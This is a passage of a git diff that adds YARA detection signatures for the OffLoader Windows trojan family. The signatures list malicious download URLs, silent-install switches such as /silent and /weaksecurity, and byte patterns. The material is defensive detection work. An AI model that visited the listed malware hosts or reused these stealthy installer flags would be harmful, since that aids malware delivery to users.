62 00 6f 00 6f 00 74 00 20 00 6e 00 6f 00 77 00 3f 00 } //1 Do you want to reboot now? + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANS_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANS_MTB.yar new file mode 100644 index 0000000000..ba6f87d1e1 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANS_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_OffLoader_ANS_MTB{ + meta: + description = "Trojan:Win32/OffLoader.ANS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {72 00 61 00 62 00 62 00 69 00 74 00 73 00 77 00 65 00 65 00 6b 00 2e 00 69 00 63 00 75 00 2f 00 62 00 69 00 6b 00 2e 00 70 00 68 00 70 00 3f 00 } //3 rabbitsweek.icu/bik.php? + $a_01_1 = {66 00 61 00 63 00 74 00 6c 00 6f 00 77 00 2e 00 78 00 79 00 7a 00 2f 00 62 00 69 00 6b 00 73 00 2e 00 70 00 68 00 70 00 3f 00 } //3 factlow.xyz/biks.php? + $a_01_2 = {6e 00 6f 00 63 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 nocookies + $a_01_3 = {44 00 6f 00 20 00 79 00 6f 00 75 00 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 72 00 65 00 62 00 6f 00 6f 00 74 00 20 00 6e 00 6f 00 77 00 3f 00 } //1 Do you want to reboot now? + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANTA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANTA_MTB.yar new file mode 100644 index 0000000000..ecb5d50532 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANTA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_OffLoader_ANTA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.ANTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 63 61 72 72 69 61 67 65 6c 65 74 74 65 72 2e 69 63 75 2f 6f 69 6c 2e 70 68 70 3f } //://carriageletter.icu/oil.php? 3 + $a_80_1 = {3a 2f 2f 74 72 6f 75 62 6c 65 73 69 73 74 65 72 73 2e 78 79 7a 2f 6f 69 6c 73 2e 70 68 70 3f } //://troublesisters.xyz/oils.php? 3 + $a_80_2 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_3 = {44 6f 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 72 65 62 6f 6f 74 20 6e 6f 77 3f } //Do you want to reboot now? 1 + condition: + ((#a_80_0 & 1)*3+(#a_80_1 & 1)*3+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANU_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANU_MTB.yar new file mode 100644 index 0000000000..b372108c22 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ANU_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_OffLoader_ANU_MTB{ + meta: + description = "Trojan:Win32/OffLoader.ANU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {62 00 69 00 72 00 74 00 68 00 74 00 65 00 65 00 74 00 68 00 2e 00 78 00 79 00 7a 00 2f 00 6f 00 69 00 6c 00 2e 00 70 00 68 00 70 00 3f 00 } //3 birthteeth.xyz/oil.php? + $a_01_1 = {76 00 61 00 73 00 65 00 62 00 69 00 72 00 64 00 2e 00 78 00 79 00 7a 00 2f 00 6f 00 69 00 6c 00 73 00 2e 00 70 00 68 00 70 00 3f 00 } //3 vasebird.xyz/oils.php? + $a_01_2 = {6e 00 6f 00 63 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 } //1 nocookies + $a_01_3 = {44 00 6f 00 20 00 79 00 6f 00 75 00 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 72 00 65 00 62 00 6f 00 6f 00 74 00 20 00 6e 00 6f 00 77 00 3f 00 } //1 Do you want to reboot now? + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AQTA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AQTA_MTB.yar new file mode 100644 index 0000000000..77ec346bfb --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AQTA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_OffLoader_AQTA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.AQTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 79 61 6d 68 6f 74 2e 69 63 75 2f 69 65 72 2e 70 68 70 3f } //://yamhot.icu/ier.php? 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_3 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + $a_80_4 = {2f 72 65 73 75 6d 65 } ///resume 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ASRA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ASRA_MTB.yar new file mode 100644 index 0000000000..98636080a1 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ASRA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_OffLoader_ASRA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.ASRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 63 61 72 72 69 61 67 65 6c 65 74 74 65 72 2e 69 63 75 2f 6f 69 6c 2e 70 68 70 3f } //://carriageletter.icu/oil.php? 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_3 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + $a_80_4 = {2f 72 65 73 75 6d 65 } ///resume 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ATSA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ATSA_MTB.yar new file mode 100644 index 0000000000..22f635916d --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ATSA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_OffLoader_ATSA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.ATSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 72 69 63 65 62 72 65 61 74 68 2e 69 63 75 2f 74 72 69 2e 70 68 70 3f } //://ricebreath.icu/tri.php? 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_3 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + $a_80_4 = {2f 72 65 73 75 6d 65 } ///resume 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AVPA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AVPA_MTB.yar new file mode 100644 index 0000000000..fc435cec6d --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AVPA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_OffLoader_AVPA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.AVPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 71 75 69 6c 6c 65 78 70 65 72 69 65 6e 63 65 2e 69 63 75 2f 6a 75 6d 70 2e 70 68 70 3f } //://quillexperience.icu/jump.php? 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_3 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + $a_80_4 = {2f 72 65 73 75 6d 65 } ///resume 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AVZA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AVZA_MTB.yar new file mode 100644 index 0000000000..e13bd4ad4f --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AVZA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_OffLoader_AVZA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.AVZA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 76 69 73 69 74 6f 72 62 6f 79 2e 69 6e 66 6f 2f 72 74 72 2e 70 68 70 3f } //://visitorboy.info/rtr.php? 4 + $a_80_1 = {3a 2f 2f 68 61 6c 6c 63 68 61 6e 63 65 2e 78 79 7a 2f 72 74 72 73 2e 70 68 70 3f } //://hallchance.xyz/rtrs.php? 4 + $a_80_2 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_3 = {44 6f 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 72 65 62 6f 6f 74 20 6e 6f 77 3f } //Do you want to reboot now? 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*4+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AXSA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AXSA_MTB.yar new file mode 100644 index 0000000000..316a780ee3 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AXSA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_OffLoader_AXSA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.AXSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 63 72 6f 77 73 61 6c 74 2e 69 63 75 2f 74 72 69 2e 70 68 70 3f } //://crowsalt.icu/tri.php? 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_3 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + $a_80_4 = {2f 72 65 73 75 6d 65 } ///resume 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AZTA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AZTA_MTB.yar new file mode 100644 index 0000000000..25c608ed7c --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_AZTA_MTB.yar @@ -0,0 +1,28 @@ + +rule Trojan_Win32_OffLoader_AZTA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.AZTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 12 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 74 72 75 63 6b 6f 62 73 65 72 76 61 74 69 6f 6e 2e 69 63 75 2f 61 61 72 2e 70 68 70 3f } //://truckobservation.icu/aar.php? 10 + $a_80_1 = {3a 2f 2f 6d 69 6e 74 62 6f 72 64 65 72 2e 69 63 75 2f 62 69 65 2e 70 68 70 3f } //://mintborder.icu/bie.php? 10 + $a_80_2 = {3a 2f 2f 70 6f 69 6e 74 72 65 73 70 65 63 74 2e 78 79 7a 2f 68 72 74 2e 70 68 70 3f } //://pointrespect.xyz/hrt.php? 10 + $a_80_3 = {3a 2f 2f 64 6f 67 73 6a 61 72 2e 78 79 7a 2f 68 69 74 2e 70 68 70 3f } //://dogsjar.xyz/hit.php? 10 + $a_80_4 = {3a 2f 2f 73 6b 69 6e 74 65 6d 70 65 72 2e 78 79 7a 2f 62 69 75 2e 70 68 70 3f } //://skintemper.xyz/biu.php? 10 + $a_80_5 = {3a 2f 2f 67 6f 76 65 72 6e 6d 65 6e 74 6d 6f 6e 65 79 2e 69 63 75 2f 67 6c 66 2e 70 68 70 3f } //://governmentmoney.icu/glf.php? 10 + $a_80_6 = {3a 2f 2f 72 6f 62 69 6e 6b 69 73 73 2e 69 6e 66 6f 2f 6b 72 72 2e 70 68 70 3f } //://robinkiss.info/krr.php? 10 + $a_80_7 = {3a 2f 2f 65 76 65 6e 74 61 75 74 68 6f 72 69 74 79 2e 69 6e 66 6f 2f 6b 6b 6b 2e 70 68 70 3f } //://eventauthority.info/kkk.php? 10 + $a_80_8 = {3a 2f 2f 79 65 61 72 64 75 63 6b 73 2e 69 6e 66 6f 2f 79 79 79 2e 70 68 70 3f } //://yearducks.info/yyy.php? 10 + $a_80_9 = {3a 2f 2f 63 72 65 61 6d 70 75 6d 70 2e 69 6e 66 6f 2f 62 6e 6f 2e 70 68 70 3f } //://creampump.info/bno.php? 10 + $a_80_10 = {3a 2f 2f 6e 75 74 6b 69 74 74 65 6e 73 2e 69 6e 66 6f 2f 6b 75 6c 2e 70 68 70 3f } //://nutkittens.info/kul.php? 10 + $a_80_11 = {3a 2f 2f 76 69 73 69 74 6f 72 62 6f 79 2e 69 6e 66 6f 2f 72 74 72 2e 70 68 70 3f } //://visitorboy.info/rtr.php? 10 + $a_80_12 = {3a 2f 2f 70 75 6e 69 73 68 6d 65 6e 74 73 6c 61 76 65 2e 69 6e 66 6f 2f 74 72 65 2e 70 68 70 3f } //://punishmentslave.info/tre.php? 10 + $a_80_13 = {3a 2f 2f 72 6f 6f 66 73 70 61 64 65 2e 69 6e 66 6f 2f 66 6f 75 2e 70 68 70 3f } //://roofspade.info/fou.php? 10 + $a_80_14 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_15 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_16 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + $a_80_17 = {2f 72 65 73 75 6d 65 } ///resume 1 + condition: + ((#a_80_0 & 1)*10+(#a_80_1 & 1)*10+(#a_80_2 & 1)*10+(#a_80_3 & 1)*10+(#a_80_4 & 1)*10+(#a_80_5 & 1)*10+(#a_80_6 & 1)*10+(#a_80_7 & 1)*10+(#a_80_8 & 1)*10+(#a_80_9 & 1)*10+(#a_80_10 & 1)*10+(#a_80_11 & 1)*10+(#a_80_12 & 1)*10+(#a_80_13 & 1)*10+(#a_80_14 & 1)*1+(#a_80_15 & 1)*1+(#a_80_16 & 1)*1+(#a_80_17 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_EN_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_EN_MTB.yar index 9d651b5bea..1206dd9378 100644 --- a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_EN_MTB.yar +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_EN_MTB.yar @@ -1,5 +1,17 @@ rule Trojan_Win32_OffLoader_EN_MTB{ + meta: + description = "Trojan:Win32/OffLoader.EN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {74 00 65 00 65 00 74 00 68 00 62 00 75 00 62 00 62 00 6c 00 65 00 2e 00 69 00 63 00 75 00 2f 00 69 00 64 00 6f 00 2e 00 70 00 68 00 70 00 } //1 teethbubble.icu/ido.php + $a_01_1 = {69 00 64 00 6f 00 2e 00 65 00 78 00 65 00 } //1 ido.exe + $a_01_2 = {2f 00 73 00 69 00 6c 00 65 00 6e 00 74 00 } //1 /silent + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} +rule Trojan_Win32_OffLoader_EN_MTB_2{ meta: description = "Trojan:Win32/OffLoader.EN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " @@ -11,7 +23,20 @@ rule Trojan_Win32_OffLoader_EN_MTB{ ((#a_01_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 } -rule Trojan_Win32_OffLoader_EN_MTB_2{ +rule Trojan_Win32_OffLoader_EN_MTB_3{ + meta: + description = "Trojan:Win32/OffLoader.EN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {70 00 6f 00 69 00 6e 00 74 00 64 00 69 00 6e 00 6f 00 73 00 61 00 75 00 72 00 73 00 2e 00 78 00 79 00 7a 00 2f 00 69 00 64 00 6f 00 2e 00 70 00 68 00 70 00 } //1 pointdinosaurs.xyz/ido.php + $a_01_1 = {73 00 74 00 72 00 65 00 65 00 74 00 70 00 61 00 67 00 65 00 2e 00 69 00 63 00 75 00 2f 00 69 00 64 00 6f 00 73 00 2e 00 70 00 68 00 70 00 } //1 streetpage.icu/idos.php + $a_01_2 = {69 00 64 00 6f 00 2e 00 65 00 78 00 65 00 } //1 ido.exe + $a_01_3 = {2f 00 73 00 69 00 6c 00 65 00 6e 00 74 00 } //1 /silent + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} +rule Trojan_Win32_OffLoader_EN_MTB_4{ meta: description = "Trojan:Win32/OffLoader.EN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " @@ -23,7 +48,7 @@ rule Trojan_Win32_OffLoader_EN_MTB_2{ ((#a_01_0 & 1)*9+(#a_01_1 & 1)*9+(#a_01_2 & 1)*1) >=10 } -rule Trojan_Win32_OffLoader_EN_MTB_3{ +rule Trojan_Win32_OffLoader_EN_MTB_5{ meta: description = "Trojan:Win32/OffLoader.EN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 00 " diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_GPPC_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_GPPC_MTB.yar new file mode 100644 index 0000000000..951f774a80 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_GPPC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_OffLoader_GPPC_MTB{ + meta: + description = "Trojan:Win32/OffLoader.GPPC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 60 33 00 33 a5 c9 0f 3a 46 0e } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_GPPD_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_GPPD_MTB.yar new file mode 100644 index 0000000000..8de1f052b7 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_GPPD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_OffLoader_GPPD_MTB{ + meta: + description = "Trojan:Win32/OffLoader.GPPD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_80_0 = {61 75 6e 74 62 65 72 72 79 2e 78 79 7a 2f 70 65 2f 73 74 61 72 74 2f 69 6e 64 65 78 2e 70 68 70 } //auntberry.xyz/pe/start/index.php 5 + $a_80_1 = {2f 56 45 52 59 53 49 4c 45 4e 54 } ///VERYSILENT 2 + condition: + ((#a_80_0 & 1)*5+(#a_80_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_GPPK_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_GPPK_MTB.yar new file mode 100644 index 0000000000..1108dfb0ab --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_GPPK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_OffLoader_GPPK_MTB{ + meta: + description = "Trojan:Win32/OffLoader.GPPK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 b2 35 00 80 } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SELS_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SELS_MTB.yar new file mode 100644 index 0000000000..7a3c30b7f6 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SELS_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_OffLoader_SELS_MTB{ + meta: + description = "Trojan:Win32/OffLoader.SELS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_80_0 = {2f 2f 77 69 73 68 73 6f 6e 2e 69 63 75 2f 69 64 6f 2e 70 68 70 } ////wishson.icu/ido.php 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SKAP_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SKAP_MTB.yar new file mode 100644 index 0000000000..304d5f04b7 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SKAP_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_OffLoader_SKAP_MTB{ + meta: + description = "Trojan:Win32/OffLoader.SKAP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_80_0 = {61 69 72 70 6f 72 74 69 63 69 63 6c 65 2e 69 6e 66 6f 2f 78 63 78 2e 70 68 70 } //airporticicle.info/xcx.php 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_3 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SKIA_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SKIA_MTB.yar new file mode 100644 index 0000000000..bbd4d3f795 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SKIA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_OffLoader_SKIA_MTB{ + meta: + description = "Trojan:Win32/OffLoader.SKIA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 76 65 69 6e 66 65 61 72 2e 63 66 64 2f 63 61 72 6f 2e 70 68 70 } //://veinfear.cfd/caro.php 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_3 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + $a_80_4 = {2f 72 65 73 75 6d 65 } ///resume 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SPAP_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SPAP_MTB.yar new file mode 100644 index 0000000000..833f15a3ed --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SPAP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_OffLoader_SPAP_MTB{ + meta: + description = "Trojan:Win32/OffLoader.SPAP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {73 00 70 00 6f 00 6f 00 6e 00 70 00 6f 00 72 00 74 00 65 00 72 00 2e 00 78 00 79 00 7a 00 2f 00 6b 00 69 00 79 00 73 00 2e 00 70 00 68 00 70 00 } //4 spoonporter.xyz/kiys.php + $a_01_1 = {2f 00 73 00 69 00 6c 00 65 00 6e 00 74 00 } //1 /silent + condition: + ((#a_01_0 & 1)*4+(#a_01_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SPV_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SPV_MTB.yar new file mode 100644 index 0000000000..3e76610580 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_SPV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_OffLoader_SPV_MTB{ + meta: + description = "Trojan:Win32/OffLoader.SPV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_01_0 = {73 00 6f 00 6e 00 70 00 6c 00 61 00 6e 00 65 00 2e 00 69 00 6e 00 66 00 6f 00 2f 00 66 00 6b 00 69 00 2e 00 70 00 68 00 70 00 3f 00 70 00 65 00 } //3 sonplane.info/fki.php?pe + $a_01_1 = {73 00 65 00 61 00 62 00 75 00 73 00 69 00 6e 00 65 00 73 00 73 00 2e 00 78 00 79 00 7a 00 2f 00 66 00 6b 00 69 00 73 00 2e 00 70 00 68 00 70 00 } //3 seabusiness.xyz/fkis.php + $a_01_2 = {2f 00 73 00 69 00 6c 00 65 00 6e 00 74 00 } //1 /silent + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ZBT_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ZBT_MTB.yar new file mode 100644 index 0000000000..b7ac70a659 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ZBT_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_OffLoader_ZBT_MTB{ + meta: + description = "Trojan:Win32/OffLoader.ZBT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 73 70 61 72 6b 64 6f 6e 6b 65 79 2e 69 63 75 2f 6e 69 69 2e 70 68 70 3f } //://sparkdonkey.icu/nii.php? 4 + $a_80_1 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_2 = {2f 77 65 61 6b 73 65 63 75 72 69 74 79 } ///weaksecurity 1 + $a_80_3 = {2f 6e 6f 63 6f 6f 6b 69 65 73 } ///nocookies 1 + $a_80_4 = {2f 72 65 73 75 6d 65 } ///resume 1 + condition: + ((#a_80_0 & 1)*4+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git 